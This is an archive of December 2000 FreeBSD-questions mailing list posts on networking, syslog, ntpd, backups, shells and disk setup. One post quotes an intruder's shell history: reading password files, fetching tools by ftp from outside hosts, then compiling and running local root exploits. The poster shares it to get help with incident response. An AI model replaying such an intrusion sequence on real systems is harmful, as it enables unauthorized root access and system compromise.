> something that I'm missing. Also, I'm using 192.168.1.x private ips,
> but I wouldn't think that would affect the way natd works.
> -Otter


Sorry, I suppose I should have been a little more clear on that one.  I was
serving the stream to another server which was responsible for actually
handling the broadcast traffick (I think they call it a relay server or
something in the shoutcast manuals).  But all I had to do was run the DSP
plugin with Winamp and connect to the relay server so I could stream out.

I found what would happen without the port redirects was that people could
connect, it would buffer up to about 75% then the connection would hang.
When the person would disconnect from the stream the server would not
properly close the socket.  

The reason for it was the data stream is sent out via port 8000 (at least in
this case it was), the shoutcast server sends statistic data back on
$DATA_PORT+1 (or in my case port 8001).  Since the Shoutcast server was
unable to send or receive data properly on this port it was messing things
up.

Hope this clears up a bit, you won't need any redirects just to listen to a
Shoutcast stream, but if you want to use the DSP plugin in Winamp to stream
data to a relay server from behind a natd firewall you will need to add the
redirects.


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Hi,

I'm having a really annoying problem, which I hope is just the result of
something stupid I'ev done: I have a machine that's behind a SOCKS v5
firewall. I installed 4.2-RELEASE on it, and also installed
ports/net/socks5. However, I can't get any application to go through the
SOCKS firewall. There are two distinct behaviors I see: applications that
come pre-socksified (like rtelnet) simply fail to connect. If I try to do,
say 'rucnsocks telnet' to socksify the standard BSD telnet, it seems to be
having problems doing DNS resolution, as telnet tries to connect to
0.0.0.1, no matter what host name I give.

The same machine, running Winblows NT has no problem crossing the firewall
(say, using Netscape).

Clues anyone?

Thanks in advance,
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Apologies if I missed something obvious here, but I would like to know how to set up one of my BSD workstations to run through my Squid proxy server.

I went into the /stand/sysinstall utility to see if there was an obvious location to put in my proxy server address, searched the mailing list, and even MAN'd rc.conf.  I'm confused! 

I actually configured another system to be the Proxy server (FreeBSD 4.0 rel, Squid 2.3 (from packages) and have it successfully serving a Win9x system, I just don't know where the settings in BSD go.

Finally, thank you.  Primarily to Greg Lehey (if not for The Complete FreeBSD, this would not be my first message to this list and I likely would have given up) but also to all those who code for the FreeBSD project and all those who take the time to read this, and all the other, posts.


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> > Any comments or suggestions welcome.
>
> Fix doscmd, which does the emulation in userland (which is even better
> than running as a KLD).

What's wrong with doscmd ?  I hadn't noticed this one used BSD filesystems
in addition to image files.  That was my #1 issue with some of the other
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Hi all.

Yes, another newbie here with his newbie questions!

I installed FreeBSD 3.4R on my small old hard disk, to see what
it's like. I'm going to install some version of it on my primary
hard disk in near future. But which version to pick?
(My box serves as a desktop machine at home.)

In the newbies page it says, "look for the latest mainsteam release",
referring to 3.4R. Why not a newer one? Or is this piece of
information out of date? I've been considering 4.1.1 or 4.2.

According to the Release usage per day page, 4.1R and 4.0R are
more popular than 4.2R. Even as early version as 3.2R has
a considerable amount of downloads. Why aren't people just
downloading the newest version? What's the catch here?

About the files at the ftp sites... are the RELEASEs being bugfixed,
or only the STABLEs?


Thanks.

Olli=20

(by the way, why are the installing files called 'images'?)


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it sounds like you may need to enable the parallel port in your bios.

Carl wrote:

> Hello, I have been trying unsuccessfully to get FreeBSD to recognize my 
> parallel port so that I may use my printer.  I have the following devices 
> enabled in by kernel:
> 
> device	ppc0	at isa? irq 7
> device	ppbus
> device 	lpt
> device	ppi
> device	vpo	# for my ZIP disk
> 
> The irq is correct for my parallel port, however dmesg yields:
> 
> ppc0: parallel port not found
> 
> Is there something that I should be adding to my kernel?  I have gone through 
> the Handbook without success.
> 
> The same dmesg results when using the GENERIC kernel as well.
> 
> Thanks for your assistance...
> 
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Viking makes good memory too

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----- Original Message -----
From: "Gustavo Vieira Goncalves Coelho Rios" <gustavo@ifour.com.br>
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> xuyifeng wrote:
> >
> > I think most probem is your fake memory,  make sure your memory is good,
some times BIOS's self test
> > is not enough, I saw the problem with MS Windows 9x,  BIOS self test is
just find, but when Win98 ran,
> > it crashed,  some memory bits can be read and writen by BIOS without
problem, but if CPU executes instruction
> > on that memory bits, OS crashes.
> >
>
> May some one here suggest a HIGH quality memory manufacturer ?
>
>
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In the last episode (Dec 18), xuyifeng said:
> then If  I want to learn shell script programming on FreeBSD, there
> are two shell languages to learn, two big horrible manuals to read,
> this also sucks, I am tired.  this is obstacle for Linux user switch
> to FreeBSD, bash is compatible with sh, this is good, csh should
> definitely be removed from FreeBSD or default not to install it.

If you want to learn shell script programming for any Unix, learn
/bin/sh, not csh or bash.  That way you're guaranteed to have scripts
that run on any system.

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4.2 has only been out for a short period of time. On top of whic those
numbers may be inaccurate because most poeple who were running a previous
version will pull the src and make the new version themselves...(of
course this is just a guess)


cheers,
mikel

Olli Jarvinen wrote:

> Hi all.
>
> Yes, another newbie here with his newbie questions!
>
> I installed FreeBSD 3.4R on my small old hard disk, to see what
> it's like. I'm going to install some version of it on my primary
> hard disk in near future. But which version to pick?
> (My box serves as a desktop machine at home.)
>
> In the newbies page it says, "look for the latest mainsteam release",
> referring to 3.4R. Why not a newer one? Or is this piece of
> information out of date? I've been considering 4.1.1 or 4.2.
>
> According to the Release usage per day page, 4.1R and 4.0R are
> more popular than 4.2R. Even as early version as 3.2R has
> a considerable amount of downloads. Why aren't people just
> downloading the newest version? What's the catch here?
>
> About the files at the ftp sites... are the RELEASEs being bugfixed,
> or only the STABLEs?
>
> Thanks.
>
> Olli
>
> (by the way, why are the installing files called 'images'?)
>
> --
>         Olli Järvinen        mail:  oltaja00@otol.fi
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> > I've installed ntop on two different machines ..... a 4.0 RELEASE where it appears to work fine, and a 4.1 RELEASE where it works in interactive (command line) mode but when I try starting in web
> > mode (ntop -w) I get 
> > "-w mode is disabled for security reasons"
> 
> I don't know about this one; maybe in the new version the .ntop file is
> mandatory. 

No, this is not a new version. Newer versions of ntop don't even work on
FreeBSD (so much for Linux compatibility).

The disabled -w mode is imposed by the FreeBSD port, in response to bug
reports that came across the BUGTRAQ list in late July.

Have a look at http://www.freebsd.org/cgi/cvsweb.cgi/ports/net/ntop/files/
and http://www.securityfocus.com/archive/1/73351

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Hello!

Inspired by recent ${SUBJ} related (not too close though) discussion on
-current, I'm willing to ask you guys the following question: why do I
always get whatever is logged by syslog (or even bypassing it) on my
/dev/ttyv0?  Doesn't it make more sense to write logs to /dev/console, or
even not writing them at all?  I mean, should not I be allowed to take
complete control of whatever is going to be logged anywhere in my box?  It
seems that it doesn't really matter what I write in /etc/syslog.conf,
regardless to any contents of it, I will get messages on /dev/ttyv0 no
matter what.

I suppose it should be easily fixable by mocking around with source code,
I don't want to start digging into it without prior check with you all :)

Tnx.

-- Regards,
	Alexey

P.S.  Sorry for x-posting, I don't really know what is the proper place
for such a question.  Still, if you happen to be on -questions and
answering this, cc me please, since I am not the member of -questions
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On 18-Dec-00 Alexey Dokuchaev wrote:
> Hello!
> 
> Inspired by recent ${SUBJ} related (not too close though) discussion on
> -current, I'm willing to ask you guys the following question: why do I
> always get whatever is logged by syslog (or even bypassing it) on my
> /dev/ttyv0?  Doesn't it make more sense to write logs to /dev/console, or
> even not writing them at all?  I mean, should not I be allowed to take
> complete control of whatever is going to be logged anywhere in my box?  It
> seems that it doesn't really matter what I write in /etc/syslog.conf,
> regardless to any contents of it, I will get messages on /dev/ttyv0 no
> matter what.

/dev/ttyv0 is /dev/console by default.  If you boot over a serial console, then
the messages will be logged over /dev/ttyd0 instead of /dev/ttyv0.  To disable
syslog messages then, remove /dev/console from /etc/syslogd.conf if that is
really what you want.

-- 

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On Mon, 18 Dec 2000, John Baldwin wrote:

> 
> On 18-Dec-00 Alexey Dokuchaev wrote:
> > Hello!
> > 
> > Inspired by recent ${SUBJ} related (not too close though) discussion on
> > -current, I'm willing to ask you guys the following question: why do I
> > always get whatever is logged by syslog (or even bypassing it) on my
> > /dev/ttyv0?  Doesn't it make more sense to write logs to /dev/console, or
> > even not writing them at all?  I mean, should not I be allowed to take
> > complete control of whatever is going to be logged anywhere in my box?  It
> > seems that it doesn't really matter what I write in /etc/syslog.conf,
> > regardless to any contents of it, I will get messages on /dev/ttyv0 no
> > matter what.
> 
> /dev/ttyv0 is /dev/console by default.  If you boot over a serial console, then
> the messages will be logged over /dev/ttyd0 instead of /dev/ttyv0.  To disable
> syslog messages then, remove /dev/console from /etc/syslogd.conf if that is
> really what you want.

You see, the problem is that I do NOT have any entries dealing with
/dev/console or /dev/ttyv0 in my /etc/syslog.conf, and they still drop to
/dev/ttyv0...

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Try this in /etc/syslog.conf:

*.none			/dev/console

(Remember to kill -HUP syslogd ;-))

On Tue, Dec 19, 2000 at 12:30:05AM +0600, Alexey Dokuchaev wrote:
> 
> You see, the problem is that I do NOT have any entries dealing with
> /dev/console or /dev/ttyv0 in my /etc/syslog.conf, and they still drop to
> /dev/ttyv0...


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On 2000.12.18 17:01:36 +0000 Crist J. Clark wrote:
> On Mon, Dec 18, 2000 at 08:44:09AM +0000, Moses Backman III wrote:
> > 
> > On 2000.12.18 05:52:15 +0000 Crist J. Clark wrote:
> 
> [snip]
> 
> > > Anyway, on to the compile problem. Please humor me. Go to the build
> > > diretory and try,
> > > 
> > >   # make clean depend all
> > > 
> > > Again. If you get that error, please send your kernel config file to
> > > the list. As well as the error message including the few lines
> leading
> > > up to it. Where did you get your source tree?
> > > -- 
> > > Crist J. Clark                           cjclark@alum.mit.edu
> > > 
> > > 
> > THAT WAS IT!!!!!!!!!!!!!!!!!!!!!  IT WORKS NOW.  THANKS A BILLION
> > I LOVE THIS CRAP!!!!!!
> > 
> > just one more question...  make clean depend all starts the build from
> > scratch ? if so, i could have danced around last night if i had just
> > renamed my kernel, huh?
> 
> It depends. I have the feeling, although I could not tell for sure,
> that you got the error you did in your other build attempts because
> you were skipping the 'make depend' step. If that is so, nothing would
> have worked until you did that.
> 
> The 'make clean' just eliminates some other possible problems, but in
> theory, is not needed. 'make' should be able to figure out what
> targets need updating.
> -- 
> Crist J. Clark                           cjclark@alum.mit.edu
> 
you're right, i did skip the make depend step.  it built on upgrades
without
so i ass-u-me-d it would here too.  i did try, however, to make depend
after
the first failure but it just failed again a little later in the build.
anyhow, now i know.  one more tool in the toolchest.  thanks a million



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I am a network specialist supporting our products in a network environment.
Our software uses telnet access from the local machine to  access our
servers here.  The issue I have been encountering with a client, who states
they are using a Unix BSD Application Proxy on their network, is that I can
utilize telnet itself to get to our threshold.  But,  when I attempt to
script this  into our software application it appears like I cannot get
their proxy/firewall to respond.   I have spent days working with the client
checking all angles of our software and our script to get through the
firewall, and by all means given the telnet session it should pass through
this proxy server, but it will not respond to any portion of our script.   I
have even sent a telnet details command, within a script, looking for any
response from the proxy but the proxy returns no response.


The telnet port the customer is using is 23, terminal type is VT100.

I have enclosed a link to our software download it can be installed locally
for test purposes the link is:

http://software.westgroup.com/esd/software/WM73Win/dlinstr.asp?first_name=ro
dney&last_name=Evoniuk&city=Egan+&state=MN&country=&email=rodney.evoniuk@wes
tgroup.com&phone=123-456-7888&bnSubmit=Continue


Once installed  launch the software and choose cancel at the sign on screen.
To setup the firewall script mentioned above you go to tools, communication
options and click on the advanced access tab.  Then click on Scripts and
first choose westsock then click on properties, you will see the following
script:

 10 label 'Internet // Windows Sockets'
  20 genmsg
  30 versions
  40 getport
  ;45 firewall
  50 on 'fail',150
  60 <serviceScript>
  70 on 'fail',150
  80 goto 180
 150 ems 'Access failed.  Please try again.'
 170 end
 180 exit


Unrem line 45 (take out the ";") and save

then choose firewall from the script list and you will see the following
script:

  25 lfstatus 'Connected to firewall.'
  ;27  prompt 'Username:', login_code
  ;28  prompt 'Password:', password, 1
  30 rx 'login:', 80
  40 pause 150
  50 lfstatus 'Login prompt not received from firewall.'
  60 return 'fail'
  80 tx '<login>',<delay>
  85 tx '^M',<delay>
  90 rx 'password:',140
 100 pause 150
 110 lfstatus 'Password prompt not received from firewall.'
 120 return 'fail'
 140 tx '<password>',<delay>
 145 tx '^M',<delay>
 150 rx '$', 200
 160 pause 150
 170 lfstatus '$ prompt not received from firewall.'
 180 return 'fail'
 200 tx 'telnet westlaw.westlaw.com',<delay>
 210 tx '^M',<delay>
 500 end


the changes we typically make are as follows:

30 rx ':',80
80 tx 'enter your login here for firewall',<delay>
90 rx ':' ,140
140 tx 'enter your password her for firewall' <delay>
150 rx '>',200          

NOTE:  these are dependant on a telnet session for example:

AIX Version 4
(C) Copyrights by IBM and by others 1982, 1996.
login: **************
***********'s Password:***********
****************************************************************************
***
*
*
*
*
*  Welcome to AIX Version 4.2!
*
*
*
*
*
*  Please see the README file in /usr/lpp/bos for information pertinent to
*
*  this release of the AIX Operating System.
*
*
*
*
*
****************************************************************************
***
Last login: Tue Dec 12 11:02:36 2000 on /dev/pts/0 from *****(our proxy
address)*****

$ 

given this telnet session I would use the following changes:

30 rx ':',80
80 tx '************',<delay>
90 rx ':' ,140
140 tx '************' <delay>
150 rx '$',200          

ONE Last change must be done before you can attempt to sign on using our
software is to go to the General TAB in the communications setup and make
sure the communication device is TCP/IP   the remote IP address is the
address of your firewall and the sign on option tab (on the left hand side)
is set to Westlaw via Windows Sockets


given this scenario  the client I refer to does not get the first rx from
the firewall i.e. line 30  even if we set our software to show details it
fails to do so there appears like using this scripting feature that we get
no response from the firewall.   

NOTE:   a person can change the port our script would use for the telnet and
turn on details from the firewall by simply launching the following  file
from  C:/program files/west Group/Westmate/SysAdmin.exe  choose setup,
Registry setup and change the TCP port to the desired telnet port and to
turn on details from the proxy and/or firewall simply type in Yes instead of
the No entered in the Telnet Display box.


ONCE the changes are made to the communications as mentioned one should be
able to go to File, Sign on westlaw,  It will prompt you for a password:
you can simply enter in 12345abc   and you must enter in a client ID  you
can type in test and although this will not let you on to Westlaw it should
take you to our door step and give you an error that password is not valid.
But during the signon procedure you can click on the details tab and it will
give you a detailed message of the script and script errors along with the
details from the proxy/firewall if you edited the SysAdmin.exe file and
changed the Telnet Display from NO to Yes.


As mentioned we have tried several different changes to the script but no
matter what I do it appears that the firewall is not responding to our
script and we get no details    NOTE if you go back into the SysAdmin.exe
file to check your settings they are automatically changed back to the
default settings and it does not reflect your changes.  Your changes are
automatically changed in the actual registry for our program...



Thank You for any help you can provide  If I can be of service in helping
you set this up for testing please feel free to give me a call at
1-800-WESTLAW  ext. 76818     Also if you need an actual password for
further testing I can provide you with one,  but I cannot email you one.


Sincerely;
Rodney H. Evoniuk
West Group
Network Specialist


PS  we do not install proxy servers for clients 


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On 18-Dec-00 Alexey Dokuchaev wrote:
> On Mon, 18 Dec 2000, John Baldwin wrote:
> 
>> 
>> On 18-Dec-00 Alexey Dokuchaev wrote:
>> > Hello!
>> > 
>> > Inspired by recent ${SUBJ} related (not too close though) discussion on
>> > -current, I'm willing to ask you guys the following question: why do I
>> > always get whatever is logged by syslog (or even bypassing it) on my
>> > /dev/ttyv0?  Doesn't it make more sense to write logs to /dev/console, or
>> > even not writing them at all?  I mean, should not I be allowed to take
>> > complete control of whatever is going to be logged anywhere in my box?  It
>> > seems that it doesn't really matter what I write in /etc/syslog.conf,
>> > regardless to any contents of it, I will get messages on /dev/ttyv0 no
>> > matter what.
>> 
>> /dev/ttyv0 is /dev/console by default.  If you boot over a serial console,
>> then
>> the messages will be logged over /dev/ttyd0 instead of /dev/ttyv0.  To
>> disable
>> syslog messages then, remove /dev/console from /etc/syslogd.conf if that is
>> really what you want.
> 
> You see, the problem is that I do NOT have any entries dealing with
> /dev/console or /dev/ttyv0 in my /etc/syslog.conf, and they still drop to
> /dev/ttyv0...

So you've commented out this line:

*.err;kern.debug;auth.notice;mail.crit          /dev/console

(Just making sure.)

-- 

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How do I find out the maximum number of shared memory segments and
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Hi,
Where can I get the iso images.  They are not on the ftp site, and
I read that you don't put them there often.  But the iso image from
the web doesn't download properly.  It downloads what looks like some
binaries, not to a file.

Where can I go to get the image?  Thanks for any help.   Joan


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Hi all,

I'm having a strange problem with ntpd. I'm running an ntpd
server (also gateway/router) on a 4.1.1-RELEASE box on a 
private network.  I've got various clients running either 
xntpd (< 4.0-RELEASE) and ntpd (>=4.0-RELEASE). 

All clients using xntpd sync fine.  Everyone running ntpd
do not sync (execpt, of course, the time server itself).  

Here's a summary of how the machines are configured...

2.2.8-RELEASE boxes rc.conf
	xntpd_enable="YES"  
	xntpd_program="xntpd"
	xntpd_flags="-b"    

3.4-RELEASE and 4.x-RELEASE boxes rc.conf
	xntpd_enable="YES"
	xntpd_flags="-b"

4.1.1-RELEASE Time server rc.conf
	xntpd_enable="YES"
	xntpd_flags="-p /var/run/ntpd.pid"

TimeServer:/etc/ntp.conf

	server ncar.ucar.edu prefer
	server 127.127.1.0
	fudge 127.127.1.0 stratum 10
	driftfile /etc/ntp.drift

Does anyone know why xntpd clients can sync with my
ntpd server but ntpd clients cannot?

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Doug


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Mrs.

How do you do for not permited access of the users for others =
directories, oh the others ftp's in my ftpd?
example: ftp://joao , if this user run the command cd .., he hasn't =
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	I've taken a look at the xterminal howto.  It is a little more
	involved than I really want to get into.  I have just installed
	4.2 on an old 486 and would like to use it to access an X server
	running on a debian machine I have.  

	1. Is there anyway I can just telnet or ssh into the debian box
	and run X applications on the freebsd box, using the debian
	box's server?

	2. Can I do this without running an X server on the freebsd box?

	This is my first attempt at freebsd.  I've searched the list
	archive but didn't come up with an answer.  I've looked through
	some linux docs and freebsd docs.  Any help would be appreciated.
	Thanks,
	kent    

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Hi, I'm on FreeBSD-3-stable and the followin pakages installed:
...
libtool-1.3.4_1     Generic shared library support script
mysql-client-3.22.32 Multithreaded SQL database (client)
mysql-server-3.22.32 Multithreaded SQL database (server)

and when i try to execute mysqld this happens:
#sh /usr/local/etc/rc.d/mysql-server.sh
mysqld
#tail -n3 /var/db/mysql/hostname.err
mysqld started on  Sun Dec 17 21:28:53 COT 2000
/usr/libexec/ld-elf.so.1: Shared object "libc_r.so.4" not found
mysqld ended on  Sun Dec 17 21:28:53 COT 2000

Anyone know what's happens here?

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	I'm using 4.2 and csh.  I've set the prompt for regular user in
	~/.cshrc and it works fine.  I tried changing the prompt for
	root in /root/.cshrc and it doesn't work.  I've tried
	/etc/profile, /etc/csh.cshrc, and /root/.profile and it still
	won't work.  The string I'm using is -
	set prompt = "%m@[%/]# "
	Which file to I change to make this stick?
	Thanks,
	kent

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 Are there supposed to be blank passwords in /etc/master.passwd??

 Such as..

toor:*:0:0::0:0:Bourne-again Superuser:/root:
daemon:*:1:1::0:0:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5::0:0:System &:/:/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533::0:0:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533::0:0:KMem Sandbox:/:/sbin/nologin
games:*:7:13::0:0:Games pseudo-user:/usr/games:/sbin/nologin
news:*:8:8::0:0:News Subsystem:/:/sbin/nologin
man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/sbin/nologin
bind:*:53:53::0:0:Bind Sandbox:/:/sbin/nologin
uucp:*:66:66::0:0:UUCP
pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico
xten:*:67:67::0:0:X-10 daemon:/usr/local/xten:/sbin/nologin
pop:*:68:6::0:0:Post Office Owner:/nonexistent:/sbin/nologin
nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/sbin/nologin

Aren't those "*"'s in the password field bad?

-Gerry



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}-----Original Message-----
}From: owner-freebsd-questions@FreeBSD.ORG
}[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of ktb
}Sent: Monday, December 18, 2000 2:11 PM
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}Subject: accessing remote X server
}
}
}	I've taken a look at the xterminal howto.  It is a little more
}	involved than I really want to get into.  I have just
}installed
}	4.2 on an old 486 and would like to use it to access
}an X server
}	running on a debian machine I have.
}
}	1. Is there anyway I can just telnet or ssh into the
}debian box
}	and run X applications on the freebsd box, using the debian
}	box's server?
}

You bet. http://www.defcon1.org/x11ssh.html

}	2. Can I do this without running an X server on the
}freebsd box?

No. You'll need a GUI desktop on your local machine before trying to
run x11 apps from a remote machine on there. Makes enough sense to me
anyway. Good luck.
-Otter

}
}	This is my first attempt at freebsd.  I've searched the list
}	archive but didn't come up with an answer.  I've
}looked through
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}-----Original Message-----
}From: owner-freebsd-questions@FreeBSD.ORG
}[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of
}Joan Francine
}Richards
}Sent: Monday, December 18, 2000 2:06 PM
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}Subject: ISO images
}
}
}Hi,
}Where can I get the iso images.  They are not on the ftp site,

umm. yes they are.

}I read that you don't put them there often.

they're put there for every release.

 But the iso image from
}the web doesn't download properly.  It downloads what looks like some
}binaries, not to a file.

then you didn't get the image. The cd image has an .iso extension.
Regardless of the version you choose, they're all .iso.

}
}Where can I go to get the image?

on the ftp site!

Thanks for any help.   Joan
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you can find them at
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You looked in ports and didn't see anything? Maybe you just need
something a little easier to read than every ports pkg-descr. check
out  http://freshports.org/category.php3?category=24 and look again.
-Otter


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}
}Hey everyone:
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}I have been rooting around looking for POP3 and SMTP mail servers.  I
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Joan,

 ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/ISO-IMAGES/4.2-install.iso

Cheers,
mikel

Joan Francine Richards wrote:

> Hi,
> Where can I get the iso images.  They are not on the ftp site, and
> I read that you don't put them there often.  But the iso image from
> the web doesn't download properly.  It downloads what looks like some
> binaries, not to a file.
>
> Where can I go to get the image?  Thanks for any help.   Joan
>
> Argue not with dragons, for thou art crunchy and go well with Brie.
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setup ftpchroot which should contain an entry for each userid you wish
to have chrooted. check out the ftpd man page for details.

sac@gruponet.com.br wrote:

>  Mrs. How do you do for not permited access of the users for others
> directories, oh the others ftp's in my ftpd?example: ftp://joao , if
> this user run the command cd .., he hasn't permission to access others
> directorios, of the others domains.I have the file ftpchroot and your
> domains registred. Thanks.

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setup ftpchroot which should contain an entry for each userid you wish
to have chrooted. check out the ftpd man page for details.
<p>sac@gruponet.com.br wrote:
<blockquote TYPE=CITE>&nbsp;<font face="Arial"><font size=-1>Mrs.</font></font>&nbsp;<font face="Arial"><font size=-1>How
do you do for not permited access of the users for others directories,
oh the others ftp's in my ftpd?</font></font><font face="Arial"><font size=-1>example:
<a href="ftp://joao">ftp://joao</a> , if this user run the command cd ..,
he hasn't permission to access others directorios, of the others domains.</font></font><font face="Arial"><font size=-1>I
have the file ftpchroot and your domains registred.</font></font>&nbsp;<font face="Arial"><font size=-1>Thanks.</font></font>&nbsp;&nbsp;</blockquote>

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I've just been doing some thinking about disaster recovery and how I
would go about making complete backups on my FreeBSD file systems,
for example from disk-to-tape or else maybe disk-to-disk.

Now obviously, I _can_ use cpio to make a full backup, but looking at
the man page for cpio, I don't see anyweher where it talks about the
file flags that are documented in chflags(1) and chflags(2).  So I'm
assuming that cpio WILL NOT preserve these flags, correct?

So how am I supposed to preserve them when making my full backups?



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Jason Halbert (res02jw5@gte.net) wrote:

> Hey everyone:
> 
> I have been rooting around looking for POP3 and SMTP mail servers.  I
> want to host my mail servers along with my web site on my box.  I
> looked through the ports breifly but didn't really see anything.

Your FreeBSD machine should be running sendmail by default, which is an
SMTP server. Some prefer the speed and simplicity of Postfix, which is a
very easy replacement.

There are many pop options (solidpop3d, qpopper)...

Check out /usr/ports/mail, or http://www.freebsd.org/ports for a good
way to browse.

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Ronald F. Guilmette (rfg@monkeys.com) wrote:

> So how am I supposed to preserve them when making my full backups?

man 8 dump

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On Monday 18 December 2000 12:53 pm, you wrote:
> > > > If you need/want a dual proc machine, you must go Intel.
> > >
> > > If I'm not mistaken, this is a hardware limitation, not a FreeBSD
> > > limitation... Dual processor AMD motherboards aren't made yet. It's=
 a
> > > shame nobody will take a risk on a dual-processor AMD server MB.
> >
> > Where've you been, under a rock ?  You heard of the AMD 760MP chipset=
,
> > which is being tested right now, and will _soon_ be in motherboards
> > allowing Dual Athlon Thunderbirds ?  Your Dual Thunderbird 1.2 gigahe=
rtz
>
> is
>
> > on the way.
>
> However, it may not be supported on FreeBSD right away, if ever, simply
> because it uses the alpha EV6 bus and not the intel GTL+ bus. I think t=
he
> way
> of doing multiprocessing is different, and there will have to be code a=
dded
> to support multiprocessing on an AMD platform
>
> It might require modification, this is true.  But it's completely worth=
 it,
> because AMD's MP platform will use a Point to Point bus protocol for ea=
ch
> CPU, allowing each CPU full dedicated bandwidth to the bus, rather than
> Intel's design where the bus bandwidth is shared among the CPUs.

I fully agree with you here, I'm just not sure if it will be supported. I=
f it=20
does get support, I'm going to go buy a dual athlon mobo, and ditch the w=
hole=20
single proc thing.

Ken


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I have used sysinstall several times to install a second disk onto a freebsd
system with no problems.  My sysinstall is not recognizing the disks on a
particular machine and I have poured through docs to find that upgrading the
sysinstall will normally fix this issue.  It has not fixed my problem.  I
now seek to use command line utilities to set up the disk.  I have followed
the FreeBSD guide to setting up a new disk and I'm having some problems.
The disk as indicated by dmesg is /dev/ad1.  If i run

dd if=/dev/zero of=/dev/ad1 count=2

I get operation not permitted.  I have also tried this in single user mode
to no avail.  Any help is appreciated.

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>	Once again you've problem with your ftp server on freebsd.org, please try
>to correct this situation because I want to finish download your software.

   The server is working fine. Your problem is a network problem of some type
and not something we can 'correct'.

-DG

David Greenman
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On Monday 18 December 2000 10:30 am, xuyifeng wrote:
> ----- Original Message -----
> From: Igor Robul <igor@raduga.dyndns.org>
> To: <freebsd-questions@FreeBSD.ORG>
> Sent: Monday, December 18, 2000 6:19 PM
> Subject: Re: shell inconsistency - csh should remove
>
> > On Mon, Dec 18, 2000 at 05:30:36PM +0800, David Xu wrote:
> > >    can next FreeBSD installs bash as default shell instead of csh? =
it
> > > seems if you default install csh as default one, the system is
> > > inconsistency, because csh can't execute
> >
> > bash is GNU software. And it is not possible to include it into base
> > system.
> > And bash sucks :-)
> >
> > #!/bin/sh <---  This line tells kernel which shell use for script
> > so there is REAL Bourne shell in base system.
> >
> > And "csh" is NATURAL part of any BSD system. If you don't like it the=
n
> > just don't use it.
>
> then If  I want to learn shell script programming on FreeBSD, there are=
 two
> shell languages to learn, two big horrible manuals to read,  this also
> sucks,  I am tired.  this is obstacle for Linux user switch to FreeBSD,
> bash is compatible with sh, this is good, csh should definitely be remo=
ved
> from FreeBSD or default not to install it.
>
in FreeBSD csh is the same as tcsh... with all it's different and new=20
features over csh... try it once... you may like it... I like it much bet=
ter=20
than bash.

Ken


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Seems we have an intruder on one of our boxes... the .history file from the
troubled account follows:

cd bnc
ls
./bash
who
cd /etc
more passwd
ps -l
ls -l
more pwd.db
more hosts
pico adduser.conf.bak
pico group
su user
pico group.bak
pico ftpuser
O
pico ftpusers
su toor
su operator
id
pico spwd.db
su wheel
pico passwd
cd /var/tmp
ls -a
cd ...
ls -a
cd ..
ls -l
ls -al
cd ...
ftp copper.he.net
chmod u+x xcon
./xcon
id
rm *
ls
who
cd /var/tmp
ls -a
ls -al
cd ...
ls -a
ftp cih.edu.mx
ls
cc bsd1 bsd-cron.c
cc -o bsd1 bsd-cron.c
./bsd1
id
cc -o bsd2 bsd2.c
./bsd2
id
ls
ftp cih.edu.mx
./bsd sh
./bsd.sh
chmod u+x bsd.sh
./bsd.sh
/tmp/sh
id
ls
cc -o bsdsmail bsdsmail.c
./bsdsmail
ls -a
pico hack
ls
pico user.inf
ls
id
rm *
exit

 Anybody recognize what the intruder has set up?

-Gerry





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In message <20001218134403.B27688@northernbrewer.com>, you wrote:

>Ronald F. Guilmette (rfg@monkeys.com) wrote:
>
>> So how am I supposed to preserve them when making my full backups?
>
>man 8 dump

Nope.  I don't think this solves my problem, but maybe I should have been
more specific.

Here's what I would REALLY like to do...

I have two 4GB SCSI disk drives in one particular system I own.  The first
drive is full of Good Stuff[tm] that I want to mak backups of nightly.
The second drive is current empty of devoid of useful contents.

Assuming that I have already made a ufs filesystem on the target drive, I
would like to be able to have a nightly cron job that does a cpio copy
from one drive to the other and then have the other drive be something
that, at a moment's notice, I could boot up and run with (e.g. when and
if the first drive crashes).

But this doesn't seem to be something that is supported by dump(8).  The
man page seems to indicate that even if dump(8) is directed to place the
backup copy of your data onto a disk drive, that it will just be treating
that (output) disk drive as if it where just a tape drive:

     -f file
             Write the backup to file; file may be a special device file like
             /dev/rsa0 (a tape drive), /dev/fd1 (a floppy disk drive), an or-
             dinary file, or `-' (the standard output).  Multiple file names
             may be given as a single argument separated by commas.  Each file
             will be used for one dump volume in the order listed; if the dump
             requires more volumes than the number of names given, the last
             file name will used for all remaining volumes after prompting for
             media changes.  If the name of the file is of the form
             ``host:file'', or ``user@host:file'', dump writes to the named
             file on the remote host using rmt(8).  The default path name of
             the remote rmt(8) program is /etc/rmt; this can be overridden by
             the environment variable RMT.

This is not what I want.  I want the output device to be a disk drive, and
one with a live filesystem already on it.

I hope that I have made my desires more clear now.

Anyway, the only way I can see to do what I want to do is with something
like cpio (or maybe tar, but cpio is probably better for this sort of thing).
The only problems is that it looks to me like cpio will fail to copy over
the extra file flags. :-(

I wish there was a quick solution for that.


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Subject: Re: ip aliasing
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I just did something similar but only used 1 NIC card with an alias..

put the IP of your public address, not the rl0 in NATD_INTERFACE, and make
sure you recompile the kernel with firewall  and the ipdivert options if
you haven't already.



On Sun, 17 Dec 2000, Moses Backman III wrote:

> let me begin by saying i am somewhat familiar w/BSD, but i am no guru.  i
> have accomplished the basic
> things i want to learn : user & group management, text editors, cvs,
> compiling and upgrading.  and now i
> am trying to figure out ip aliasing.  
> 
> i have 2 nics in my 4.2-R machine one is an SMC 1211 (rl0) and a 3com 905
> (xl0) the 3com is my 
> internal nic and the 1211 gets me out through a cable modem.  my hub feeds
> only the 3com, the 1211 is
> direct to the modem.
> 
> i am able to ping my BSD from my laptop 192.168.0.1  from 192.168.0.2 and
> vice-versa.  i have made sure
> that natd starts.  i have added the following...
> 
> to /etc/rc.conf
> 
> gateway_enable="YES" 
> defaultrouter=(my isp's preassigned gateway for me)
> natd_enable="YES"
> natd_interface="rl0"
> firewall_enable="YES"
> firewall_type="simple"
> 
> *note - i have set my ip statically 
> 
> to /etc/rc.firewall
> 
> /sbin/ipfw -f flush
